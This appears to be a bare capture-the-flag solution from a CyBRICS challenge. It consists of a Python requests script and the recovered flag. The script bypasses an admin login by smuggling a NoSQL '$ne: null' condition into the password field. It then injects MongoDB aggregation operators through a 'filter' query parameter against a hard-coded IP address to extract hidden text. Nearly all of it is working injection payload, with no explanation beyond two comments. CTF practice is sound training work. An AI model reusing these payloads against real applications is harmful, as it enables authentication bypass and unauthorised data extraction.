Rating: 1.0
```python
import requests
s = requests.Session()
data = {
'username':'admin',
'password':'","password":{"$ne":null},"username":"admin'
}
#login
response = s.post('http://173.199.118.226/index.php', data=data)
#flag
response = s.post('http://173.199.118.226/index.php?filter[$cond][if][$eq][][$strLenBytes]=$title&filter[$cond][if][$eq][][$toInt]=19&filter[$cond][then]=$text&filter[$cond][else]=12', data=data)
print(bytes(response.content).decode())
```
flag: cybrics{7|-|15 15 4 7E><7 |=|_49}